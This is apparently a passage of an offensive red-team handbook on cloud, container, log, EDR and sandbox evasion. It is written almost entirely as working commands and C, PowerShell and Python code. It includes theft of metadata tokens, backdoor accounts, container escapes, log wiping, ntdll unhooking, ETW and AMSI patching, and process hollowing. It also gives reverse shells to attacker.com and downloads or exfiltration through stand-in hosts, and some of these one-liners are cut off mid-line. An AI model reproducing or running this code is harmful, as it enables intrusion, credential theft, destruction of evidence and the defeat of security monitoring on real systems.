16.2 Azure Evasion

16.2.1 Azure IMDS Abuse

```
# Azure Instance Metadata Service
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Using stolen Azure tokens
az account list
az keyvault secret list
az vm list
```

16.2.2 Azure Evasion Techniques

```
# 1. Azure Functions for C2
# 2. Azure Blob Storage for exfiltration
az storage blob upload --container-name exfil \
  --name data.txt --file exfil_data.txt

# 3. Azure Key Vault for credential storage
az keyvault secret set --vault-name my-vault \
  --name my-secret --value secret-value

# 4. Azure AD for persistence
az ad user create --display-name "Backdoor" \
  --user-principal-name backdoor@domain.com

# 5. Azure Run Command
az vm run-command invoke --command-id RunShellScript \
  --scripts "whoami" --name my-vm --resource-group my-rg
```

16.3 GCP Evasion

16.3.1 GCP Metadata Abuse

```
# GCP Instance Metadata
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/"

curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Using stolen GCP tokens
gcloud compute instances list
gcloud storage ls
gcloud secrets list
```

16.3.2 GCP Evasion Techniques

```
# 1. GCP Cloud Functions for C2
gcloud functions deploy my-function --runtime python38 --trigger-http

# 2. GCP Cloud Storage for exfiltration
gsutil cp exfil_data.txt gs://attacker-bucket/

# 3. GCP Secret Manager
gcloud secrets create my-secret --data-file=secret.txt

# 4. GCP IAM for persistence
gcloud iam service-accounts create backdoor
gcloud projects add-iam-policy-binding my-project \
  --member="serviceAccount:backdoor@my-project.iam.gserviceaccount.com" \
  --role="roles/owner"
```

16.4 Container & Kubernetes Evasion

16.4.1 Kubernetes Evasion

```
# Kubernetes API abuse
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl exec -it pod-name -- /bin/sh

# Privilege escalation
kubectl get clusterrolebindings
kubectl auth can-i --list

# Persistence via backdoor pod
kubectl run backdoor --image=attacker/image --restart=Never

# Service account token abuse
cat /var/run/secrets/kubernetes.io/serviceaccount/token
curl -H "Authorization: Bearer <token>" https://kubernetes/api/v1/namespaces
```

16.4.2 Container Escape Techniques

```
# 1. Privileged container escape
cat /proc/1/cgroup
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# 2. Docker socket escape
ls -la /var/run/docker.sock
docker run -v /:/host -it --privileged ubuntu chroot /host

# 3. HostPath volume escape (in pod spec)
# volumes:
# - hostPath:
#     path: /
#   name: host

# 4. CAP_SYS_ADMIN escape
# If container has CAP_SYS_ADMIN, mount host filesystem
```

16.4.3 Container Evasion

```
# 1. Use legitimate container images
# 2. Avoid unusual image tags
# 3. Use official registries (Docker Hub, ECR, ACR)
# 4. Clear container logs
# 5. Use minimal containers (Alpine, distroless)
# 6. Avoid leaving files in container layers
# 7. Use ephemeral containers
```

16.5 Cloud Evasion Checklist

```
[ ] Use legitimate cloud services for C2 (Lambda, Functions)
[ ] Use cloud storage for exfiltration (S3, Blob, GCS)
[ ] Disable/modify logging (CloudTrail, CloudWatch)
[ ] Use IAM role assumption (not hardcoded credentials)
[ ] Use secrets managers for credential storage
[ ] Clear cloud logs after use
[ ] Use container-based execution
[ ] Use Kubernetes for orchestration (if available)
[ ] Monitor for unusual API calls
[ ] Use VPC endpoints (avoid internet gateway)
```

PART 17: LOG & SIEM EVASION

Avoiding detection by Security Operations Centers (SOCs).

17.1 Windows Event Log Evasion

17.1.1 Windows Event Log Types

```
Security: Logon/logoff, object access, privilege use
System: Service installs, driver loads, system events
Application: Application-specific events
PowerShell: Script block logging, module logging
Sysmon: Process creation, network connections, file creation
```

17.1.2 Clearing Windows Event Logs

```
# Clear specific log
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Clear PowerShell logs
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# Clear Sysmon logs
wevtutil cl "Microsoft-Windows-Sysmon/Operational"

# Clear all logs
Get-WinEvent -ListLog * |
  Where-Object { $_.RecordCount -ne 0 } |
  ForEach-Object { wevtutil cl $_.LogName }
```

17.1.3 Windows Event Log Evasion Techniques

```
# 1. Disable logging before attack
wevtutil sl Security /e:false
wevtutil sl System /e:false

# 2. Modify log configuration
wevtutil sl Security /ms:1  # Set max size to 1MB (will wrap)

# 3. PowerShell with logging disabled
powershell -nop -ep bypass -c "whoami"
# -nop: No profile, -ep bypass: Execution policy bypass

# 4. Script Block Logging bypass
reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" \
  /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f

# 5. Module Logging bypass
reg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
  /v EnableModuleLogging /t REG_DWORD /d 0 /f

# 6. Constrained Language Mode bypass
Set-ExecutionPolicy Bypass -Scope Process

# 7. .NET reflection (bypasses PowerShell logging)
powershell -c "Add-Type -TypeDefinition <C#-code>; [Class]::Main()"
```

17.1.4 Sysmon Evasion

```
# 1. Use LOLBins (living off the land)
certutil -urlcache -f http://payload.com/shell.exe shell.exe

# 2. Use process injection (not new process)
# Inject into existing process (not logged as new process)

# 3. Use WMI (less logged than process creation)
Invoke-WmiMethod -Class Win32_Process -Name Create \
  -ArgumentList "cmd.exe /c payload.exe"

# 4. Use scheduled tasks
schtasks /create /tn "MyTask" /tr "payload.exe" /sc daily /st 09:00

# 5. Use registry persistence (less logged than process)
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \
  /v Updater /d "payload.exe" /f

# 6. Use DLL hijacking (not logged as process creation)
# 7. Use COM object activation (not logged as process)
```

17.2 Linux Log Evasion

17.2.1 Linux Log Files

```
/var/log/auth.log: Authentication events
/var/log/syslog: System events
/var/log/messages: System messages
/var/log/secure: Authentication (RHEL/CentOS)
/var/log/wtmp: Login history
/var/log/lastlog: Last login info
/var/log/btmp: Failed login attempts
```

17.2.2 Clearing Linux Logs

```
# Clear specific logs
sudo truncate -s 0 /var/log/auth.log
sudo truncate -s 0 /var/log/syslog
sudo truncate -s 0 /var/log/messages
sudo truncate -s 0 /var/log/secure

# Clear wtmp/lastlog/btmp
sudo truncate -s 0 /var/log/wtmp
sudo truncate -s 0 /var/log/lastlog
sudo truncate -s 0 /var/log/btmp

# Clear all logs
sudo find /var/log -type f -exec truncate -s 0 {} \\;

# Clear bash history
history -c
rm ~/.bash_history
export HISTFILE=/dev/null

# Clear specific command from history
history -d <line_number>
```

17.2.3 Linux Log Evasion Techniques

```
# 1. Disable logging
sudo systemctl stop rsyslog
sudo systemctl stop systemd-journald

# 2. Redirect logs to /dev/null
sudo ln -sf /dev/null /var/log/auth.log

# 3. In-memory shell (no history)
bash --norc --noprofile
export HISTFILE=/dev/null

# 4. /dev/tcp reverse shell (no netcat needed)
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# 5. Python reverse shell (no bash history)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(

# 6. Perl reverse shell
perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_i

# 7. Clear audit logs
sudo truncate -s 0 /var/log/audit/audit.log
```

17.3 SIEM Evasion

17.3.1 Understanding SIEM Detection

```
SIEM correlates:
- Authentication events
- Network connections
- Process creation
- File changes
- Registry modifications
- Logon/logoff patterns

Evasion strategy:
- Avoid generating correlation-friendly events
- Use legitimate processes
- Clear logs before SIEM ships them
- Use encryption to avoid content inspection
```

17.3.2 SIEM Evasion Techniques

```
# 1. Clear logs before SIEM ships them
# SIEM agents usually ship every 5-15 minutes
# Clear logs within that window

# 2. Use legitimate processes (LOLBins)
# Avoid creating new processes
# certutil, mshta, rundll32, regsvr32

# 3. Use encrypted channels
# HTTPS, DNS over HTTPS, SSH

# 4. Use process injection (not new processes)

# 5. Use WMI/COM (less logged than process creation)

# 6. Use scheduled tasks (less logged)

# 7. Use registry persistence (less logged)

# 8. Avoid mass scanning (triggers correlation)

# 9. Time attacks to avoid peak monitoring hours

# 10. Use decoy traffic to hide in noise
```

17.3.3 Log Injection

```
# Inject fake logs to confuse SIEM
echo "FAKE_LOG_ENTRY: Normal user logged in" >> /var/log/auth.log

# Windows — write to event log
powershell -c "Write-EventLog -LogName System -Source 'MyApp' -EventId 1000 -Message 'Normal activity'"
```

17.4 Timestomping

```
# Linux
touch -d "2024-01-01 12:00:00" file.exe
touch -r reference_file target_file  # Copy timestamp

# Windows — Meterpreter
timestomp file.exe -z "01/01/2024 12:00:00"

# Windows — PowerShell
(Get-Item file.exe).CreationTime = "2024-01-01 12:00:00"
(Get-Item file.exe).LastWriteTime = "2024-01-01 12:00:00"
(Get-Item file.exe).LastAccessTime = "2024-01-01 12:00:00"

# Python
import os
os.utime("file.exe", (1704110400, 1704110400))
```

17.5 Anti-Forensics

```
# File deletion without traces
shred -u -v file.exe  # Linux
cipher /w:C:\\  # Windows — wipe free space

# Memory wiping
echo 3 > /proc/sys/vm/drop_caches  # Linux

# Registry cleanup
reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v payload /f

# Clear prefetch (Windows)
del /f /q C:\\Windows\\Prefetch\\*

# Clear MFT entries
sdelete -p 3 file.exe
```

17.6 Log Evasion Checklist

```
[ ] Clear Windows event logs (System, Security, Application)
[ ] Clear PowerShell logs (Script Block, Module)
[ ] Clear Sysmon logs
[ ] Clear Linux logs (auth, syslog, wtmp)
[ ] Clear bash history
[ ] Disable logging before attack (if possible)
[ ] Use LOLBins to avoid process creation logging
[ ] Use process injection (not new processes)
[ ] Use encrypted channels (avoid content inspection)
[ ] Clear logs before SIEM ships them
[ ] Timestomp files (match legitimate timestamps)
[ ] Wipe free space after deleting files
[ ] Clear prefetch cache
[ ] Clear MFT entries
```

PART 18: MEMORY EVASION & ADVANCED EDR BYPASS

18.1 Understanding EDR Hooks

```
EDR hooks:
- ntdll.dll: Most APIs hooked (NtCreateFile, NtWriteVirtualMemory, etc.)
- kernel32.dll: Some APIs hooked
- kernelbase.dll: Some APIs hooked

EDR detects:
- Suspicious API calls (CreateRemoteThread, VirtualAllocEx)
- Process injection patterns
- Network connections from unusual processes
- File modifications
- Registry changes

Evasion strategy:
- Unhook ntdll.dll (remove EDR hooks)
- Use direct syscalls (bypass hooked APIs)
- Patch ETW (disable logging)
- Patch AMSI (disable scanning)
- Use process hollowing (inject into legitimate process)
```

18.2 Unhooking ntdll.dll

```
// Copy clean ntdll.dll from disk, overwrite hooked version in memory
#include <windows.h>

void UnhookNtdll() {
    // 1. Map clean ntdll.dll from disk
    HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID pCleanNtdll = VirtualAlloc(NULL, fileSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    DWORD bytesRead;
    ReadFile(hFile, pCleanNtdll, fileSize, &bytesRead, NULL);

    // 2. Find ntdll.dll in memory
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    // 3. Parse PE headers
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pCleanNtdll;
    PIMAGE_NT_HEADERS pNtHeaders =
        (PIMAGE_NT_HEADERS)((BYTE*)pCleanNtdll + pDosHeader->e_lfanew);

    // 4. Find .text section
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSection[i].Name, ".text", 5) == 0) {
            // 5. Copy clean .text section over hooked version
            DWORD oldProtect;
            VirtualProtect((BYTE*)hNtdll + pSection[i].VirtualAddress,
                pSection[i].Misc.VirtualSize,
                PAGE_EXECUTE_READWRITE, &oldProtect);

            memcpy((BYTE*)hNtdll + pSection[i].VirtualAddress,
                (BYTE*)pCleanNtdll + pSection[i].PointerToRawData,
                pSection[i].Misc.VirtualSize);

            VirtualProtect((BYTE*)hNtdll + pSection[i].VirtualAddress,
                pSection[i].Misc.VirtualSize, oldProtect, &oldProtect);
            break;
        }
    }
}
```

18.3 Direct Syscalls

```
// Use direct syscalls to bypass hooked APIs
// Instead of calling NtAllocateVirtualMemory (hooked), call syscall directly
#include <windows.h>

// Syscall numbers change between Windows versions
// This example uses Windows 10 21H2

__declspec(naked) NTSTATUS SysNtAllocateVirtualMemory(
    HANDLE ProcessHandle, PVOID *BaseAddress,
    ULONG ZeroBits, PSIZE_T RegionSize,
    ULONG AllocationType, ULONG Protect
) {
    __asm {
        mov r10, rcx           // Move 1st arg to r10 (syscall convention)
        mov eax, 0x18          // Syscall number for NtAllocateVirtualMemory
        syscall                // Execute syscall directly
        ret
    }
}

// Usage
void* baseAddress = NULL;
SIZE_T regionSize = 0x1000;
NTSTATUS status = SysNtAllocateVirtualMemory(
    GetCurrentProcess(), &baseAddress, 0, &regionSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
```

18.4 ETW Patching

```
// Patch Event Tracing for Windows to disable logging
#include <windows.h>

void PatchETW() {
    // Get address of EtwEventWrite
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

    // Patch with RET instruction (return immediately)
    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)pEtwEventWrite = 0xC3;  // RET instruction
    VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
}
```

18.5 AMSI Bypass

```
# AMSI (Antimalware Scan Interface) bypass
# Patch AmsiScanBuffer to always return clean

# Method 1: PowerShell AMSI bypass
$a=[Ref].Assembly.GetTypes()|%{if($_.Name -like "*siUtils*"){$_.GetMethods()|?{$_.Name -like "*sInIt*"}}};$a[0].Invoke($n

# Method 2: Set environment variable to bypass AMSI
# (works on older Windows PowerShell 5.1)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')::amsiInitFailed=$true

# Method 3: Use .NET reflection to disable AMSI
powershell -c "
  Set-Variable -Name AMSI -Value 'Amsi' -Scope Global
  \$t = [Ref].Assembly.GetType('{0}Utils' -f \$AMSI)
  \$f = \$t.GetMethods() | Where-Object { \$_.Name -like '*sInIt*' }
  \$f[0].Invoke(\$null, @())
"
```

18.6 Process Hollowing

```
// Hollow out a legitimate process, inject payload
#include <windows.h>

void ProcessHollowing(LPVOID payload, SIZE_T payloadSize) {
    STARTUPINFOA si = {sizeof(si)};
    PROCESS_INFORMATION pi;

    // 1. Create suspended process
    CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL,
        NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // 2. Get process context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // 3. Get PEB address (RDX on x64)
    LPVOID pPeb = (LPVOID)ctx.Rdx;

    // 4. Read ImageBaseAddress from PEB
    LPVOID pImageBase = NULL;
    ReadProcessMemory(pi.hProcess, (BYTE*)pPeb + 0x10,
        &pImageBase, sizeof(LPVOID), NULL);

    // 5. Unmap original code
    NtUnmapViewOfSection(pi.hProcess, pImageBase);

    // 6. Allocate new memory
    LPVOID pNewImageBase = VirtualAllocEx(pi.hProcess, pImageBase,
        payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 7. Write payload
    WriteProcessMemory(pi.hProcess, pNewImageBase, payload,
        payloadSize, NULL);

    // 8. Update PEB ImageBaseAddress
    WriteProcessMemory(pi.hProcess, (BYTE*)pPeb + 0x10,
        &pNewImageBase, sizeof(LPVOID), NULL);

    // 9. Update thread context to payload entry point
    ctx.Rcx = (DWORD64)pNewImageBase;  // x64 entry point in RCX
    SetThreadContext(pi.hThread, &ctx);

    // 10. Resume thread
    ResumeThread(pi.hThread);
}
```

18.7 Module Stomping

```
// Load legitimate DLL, overwrite its memory with payload
// EDR sees legitimate DLL being loaded, not suspicious
#include <windows.h>

void ModuleStomping(LPVOID payload, SIZE_T payloadSize) {
    // 1. Load legitimate DLL
    HMODULE hDll = LoadLibraryA("C:\\Windows\\System32\\amsi.dll");

    // 2. Get DLL base and size
    LPVOID pDllBase = (LPVOID)hDll;
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllBase;
    PIMAGE_NT_HEADERS pNtHeaders =
        (PIMAGE_NT_HEADERS)((BYTE*)pDllBase + pDosHeader->e_lfanew);
    SIZE_T dllSize = pNtHeaders->OptionalHeader.SizeOfImage;

    // 3. Overwrite DLL memory with payload
    DWORD oldProtect;
    VirtualProtect(pDllBase, dllSize, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pDllBase, payload, payloadSize);
    VirtualProtect(pDllBase, dllSize, oldProtect, &oldProtect);

    // 4. Create thread at payload entry
    CreateRemoteThread(GetCurrentProcess(), NULL, 0,
        (LPTHREAD_START_ROUTINE)pDllBase, NULL, 0, NULL);
}
```

18.8 Syscall Hook Detection Evasion

```
// Detect EDR hooks before execution
BOOL IsHooked(LPVOID pFunction) {
    BYTE* pBytes = (BYTE*)pFunction;

    // Check for JMP instruction (0xE9 or 0xFF)
    if (pBytes[0] == 0xE9 || pBytes[0] == 0xFF) {
        return TRUE;  // Hooked
    }

    // Check for mov r10, rcx (0x4C 0x8B 0xD1) = clean syscall
    if (pBytes[0] == 0x4C && pBytes[1] == 0x8B && pBytes[2] == 0xD1) {
        return FALSE;  // Not hooked (direct syscall)
    }

    return FALSE;
}

// Check multiple functions
void CheckHooks() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pFunctions[] = {
        GetProcAddress(hNtdll, "NtCreateFile"),
        GetProcAddress(hNtdll, "NtWriteVirtualMemory"),
        GetProcAddress(hNtdll, "NtAllocateVirtualMemory"),
        GetProcAddress(hNtdll, "NtProtectVirtualMemory"),
        GetProcAddress(hNtdll, "NtCreateThreadEx")
    };

    for (int i = 0; i < 5; i++) {
        if (IsHooked(pFunctions[i])) {
            printf("Function %d is hooked\n", i);
        }
    }
}
```

18.9 EDR Bypass Tools

```
# ScyllaHide (anti-anti-debug)
# Hide debugger from anti-debugging checks
# Usage: inject ScyllaHide.dll into target process

# TitanHide (Windows)
# Hide debugger, VM, hooks
# Usage: TitanHide.exe --pid <pid> --unhook

# NoFault (EDR bypass)
# Bypass EDR hooks
# Usage: inject NoFault.dll

# Donut (payload generator)
# Generate position-independent shellcode
donut -i payload.exe -o payload.bin

# InlineExecute-Assembly (Cobalt Strike)
# Run .NET assembly in memory
inline-execute Assembly.exe
```

18.10 EDR Bypass Checklist

```
[ ] Unhook ntdll.dll (remove EDR hooks)
[ ] Use direct syscalls (bypass hooked APIs)
[ ] Patch ETW (disable logging)
[ ] Patch AMSI (disable scanning)
[ ] Use process hollowing (inject into legitimate process)
[ ] Use module stomping (load legitimate DLL, overwrite)
[ ] Check for hooks before execution
[ ] Use encrypted C2 channels
[ ] Sleep obfuscation (encrypt during sleep)
[ ] Use LOLBins (avoid creating new processes)
[ ] Use process injection (not new processes)
[ ] Clear logs after use
```

PART 19: SANDBOX & ANALYSIS EVASION

Sandboxes are automated analysis environments (Any.Run, Joe Sandbox, Hybrid Analysis, Cuckoo, VMRay, CrowdStrike, Microsoft Defender sandbox) that detonate payloads to determine if they are malicious. Evading them is critical for payload delivery in red team engagements.

19.1 How Sandboxes Work

```
Sandbox pipeline:
1. Payload received → 2. Detonated in VM → 3. Behaviour monitored
   → 4. API calls logged → 5. Network activity captured
   → 6. Screenshots / memory dumps → 7. Verdict issued
```

Types of sandboxes: - **Full VM sandboxes** — Real Windows VMs (Cuckoo, Any.Run, Joe Sandbox) - **Emulation sandboxes** — CPU/API emulation (Mandiant, FireEye) - **Static analysis** — YARA, strings, PE parsing (no execution) - **Cloud sandboxes** — Detonated at email gateway / web proxy - **EDR sandbox** — Integrated into endpoint agents (Defender, CrowdStrike)

19.2 Anti-VM Detection

Detect VirtualBox, VMware, Hyper-V, QEMU/KVM.

Windows (C / C++ / C#):

```
// Check registry keys for VM artifacts
// VMware
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ, &hKey);
// VirtualBox
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions", 0, KEY_READ, &hKey);
// QEMU
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\QEMU Guest Agent", 0, KEY_READ, &hKey);
// Hyper-V
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters", 0, KEY_READ, &hKey);
```

```
// Check running processes for VM tools
// VMware: vmtoolsd.exe, vmwaretray.exe, vmwareuser.exe
// VirtualBox: VBoxService.exe, VBoxTray.exe
// QEMU: qemu-ga.exe
// Hyper-V: vmwp.exe
```

```
// Check MAC address prefixes (OUI)
// VMware: 00:0C:29, 00:50:56, 00:05:69
// VirtualBox: 08:00:27
// QEMU: 52:54:00
// Hyper-V: 00:15:5D
```

```
// Check disk size (small disk = likely VM)
GetDiskFreeSpaceEx("C:\\", NULL, &totalBytes, NULL);
if (totalBytes < 60ULL * 1024 * 1024 * 1024) { /* < 60GB = suspicious */ }
```

```
// Check CPU core count (1-2 cores = suspicious)
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if (sysInfo.dwNumberOfProcessors < 4) { /* suspicious */ }
```

PowerShell:

```
# Check for VM artifacts
Get-WmiObject Win32_ComputerSystem | Select-Object Manufacturer, Model, NumberOfProcessors, TotalPhysicalMemory
# Check BIOS
Get-WmiObject Win32_BIOS | Select-Object Manufacturer, SerialNumber
# Check MAC
Get-WmiObject Win32_NetworkAdapter | Where-Object {$_.MACAddress -match "00:0C:29|08:00:27|52:54:00|00:15:5D"}
# Check disk size
Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'" | Select-Object Size
```

Python:

```
import wmi, re

c = wmi.WMI()
# Check MAC
for nic in c.Win32_NetworkAdapter():
    if nic.MACAddress:
        if re.match(r"^(00:0C:29|08:00:27|52:54:00|00:15:5D)", nic.MACAddress):
            print(f"VM detected: {nic.MACAddress}")

# Check manufacturer
for cs in c.Win32_ComputerSystem():
    vm_keywords = ["VMware", "VirtualBox", "QEMU", "Microsoft Corporation", "Xen", "Parallels"]
    if any(kw in (cs.Manufacturer or "") for kw in vm_keywords):
        print(f"VM detected: {cs.Manufacturer}")
```

19.3 Anti-Sandbox Detection

19.3.1 Mouse Movement Check

```
// Sandboxes don't move the mouse
POINT pt;
GetCursorPos(&pt);
// Check if mouse position changes over time
POINT pt2;
Sleep(2000);
GetCursorPos(&pt2);
if (pt.x == pt2.x && pt.y == pt2.y) {
    // No movement = likely sandbox
    // Sleep longer or exit
    Sleep(60000); // Sleep 60 seconds, sandbox may timeout
}
```

19.3.2 User Interaction Check

```
// Check for recent user input
LASTINPUTINFO lii;
lii.cbSize = sizeof(LASTINPUTINFO);
GetLastInputInfo(&lii);
DWORD idleTime = GetTickCount() - lii.dwTime;
if (idleTime > 5 * 60 * 1000) { // Idle > 5 minutes = sandbox
    Sleep(300000); // Sleep 5 minutes
}
```

```
# PowerShell idle check
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class IdleTime {
    [DllImport("user32.dll")]
    public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
    [StructLayout(LayoutKind.Sequential)]
    public struct LASTINPUTINFO {
        public uint cbSize;
        public uint dwTime;
    }
}
"@
$lii = New-Object IdleTime+LASTINPUTINFO
$lii.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($lii)
[IdleTime]::GetLastInputInfo([ref]$lii)
$idleSeconds = ([Environment]::TickCount - $lii.dwTime) / 1000
Write-Host "Idle time: $idleSeconds seconds"
```

19.3.3 Screen Resolution Check

```
// Sandboxes often use low resolution (1024x768, 800x600)
int width = GetSystemMetrics(SM_CXSCREEN);
int height = GetSystemMetrics(SM_CYSCREEN);
if (width < 1024 || height < 768) {
    // Low resolution = likely sandbox
    ExitProcess(0);
}
```

19.3.4 RAM Check

```
// Sandboxes often have low RAM
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memInfo);
DWORDLONG totalRAM = memInfo.ullTotalPhys;
if (totalRAM < 2ULL * 1024 * 1024 * 1024) { // < 2GB = suspicious
    ExitProcess(0);
}
```

19.3.5 CPU Count Check

```
// Sandboxes often have 1-2 CPU cores
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if (sysInfo.dwNumberOfProcessors < 2) {
    ExitProcess(0);
}
```

19.3.6 Uptime Check

```
// Sandboxes are freshly booted (low uptime)
ULONGLONG uptime = GetTickCount64(); // milliseconds since boot
if (uptime < 10 * 60 * 1000) { // < 10 minutes = suspicious
    // Delay execution
    Sleep(600000); // Sleep 10 minutes
}
```

```
# PowerShell uptime
$uptime = (Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Write-Host "Uptime: $($uptime.TotalMinutes) minutes"
if ($uptime.TotalMinutes -lt 10) { Start-Sleep -Seconds 600 }
```

19.3.7 Number of Running Processes

```
// Sandboxes have fewer processes
DWORD count = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
Process32First(snapshot, &entry);
do { count++; } while (Process32Next(snapshot, &entry));
CloseHandle(snapshot);
if (count < 30) { // Too few processes = sandbox
    ExitProcess(0);
}
```

19.3.8 Installed Software Check

```
# Check for common applications (absence = sandbox)
$apps = @("VMware", "VirtualBox", "7-Zip", "WinRAR", "Chrome", "Firefox", "Office")
$installed = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
             Select-Object DisplayName
$found = 0
foreach ($app in $apps) {
    if ($installed.DisplayName -contains $app) { $found++ }
}
if ($found -lt 2) { # Too few apps = sandbox
    exit
}
```

19.3.9 User Account Name Check

```
// Sandboxes often use generic usernames
CHAR username[256];
DWORD size = sizeof(username);
GetUserNameA(username, &size);
// Common sandbox usernames
char* sandboxUsers[] = {"sandbox", "malware", "virus", "user", "currentuser", "admin"};
for (int i = 0; i < 6; i++) {
    if (_stricmp(username, sandboxUsers[i]) == 0) {
        ExitProcess(0);
    }
}
```

19.3.10 Domain/Workgroup Check

```
# Check domain (sandboxes often use generic domains)
$computer = Get-WmiObject Win32_ComputerSystem
if ($computer.Domain -eq "WORKGROUP") { # No domain = suspicious }
if ($computer.Domain -match "SANDBOX|VIRUS|TEST|ANALYSIS") { Exit-Process }
```

19.4 Anti-Analysis Techniques

19.4.1 Debugger Detection

```
// CheckRemoteDebuggerPresent
BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
if (isDebuggerPresent) { ExitProcess(0); }

// IsDebuggerPresent (in-process)
if (IsDebuggerPresent()) { ExitProcess(0); }

// NtQueryInformationProcess
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
    HANDLE, UINT, PVOID, ULONG, PULONG);
HMODULE ntdll = GetModuleHandle("ntdll.dll");
pNtQueryInformationProcess NtQueryInformationProcess =
    (pNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
DWORD isDebugged = 0;
NtQueryInformationProcess(GetCurrentProcess(), 7, &isDebugged, sizeof(DWORD), NULL);
if (isDebugged) { ExitProcess(0); }

// Timing check (RDTSC)
ULONGLONG start = __rdtsc();
Sleep(100);
ULONGLONG end = __rdtsc();
if (end - start < 100000) { // Too fast = under debugger
    ExitProcess(0);
}

// Hardware breakpoint check (DR0-DR3)
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
    ExitProcess(0); // Hardware breakpoint set
}

// Parent process check (common sandbox parent)
HANDLE parent = GetParentProcess();
if (parent) {
    WCHAR name[MAX_PATH];
    GetProcessImageFileName(parent, name, MAX_PATH);
    // Sandboxes often have explorer.exe or sandbox.exe as parent
    // Real payloads launched from: outlook.exe, winword.exe, etc.
}
```

19.4.2 Anti-Disassembly Tricks

```
// Opaque predicates (code that looks conditional but always true/false)
if (x * x >= 0) { /* always true */ }
if ((x | 1) != 0) { /* always true */ }

// Junk bytes after conditional jumps
__asm {
    jmp short real_code
    __emit 0xE8  // Fake CALL instruction
    __emit 0x00
    __emit 0x00
    __emit 0x00
    __emit 0x00
real_code:
    // Real code here
}

// Anti-linear disassembly
// Insert instructions that break linear disassembly
// But execute correctly (overlapping instructions)
```

19.4.3 String Encryption

```
// Don't leave plaintext strings in binary
// XOR encryption at runtime
char encrypted[] = {0x41, 0x42, 0x43, ...}; // XOR'd with key
char key = 0x55;
char decrypted[256];
for (int i = 0; i < sizeof(encrypted); i++) {
    decrypted[i] = encrypted[i] ^ key;
}
decrypted[sizeof(encrypted)] = '\0';
// Use decrypted string now
```

Python (build time):

```
def xor_encrypt(data, key=0x55):
    return ''.join(f'0x{(ord(c) ^ key):02x},' for c in data)

payload = "http://c2-server.com/beacon"
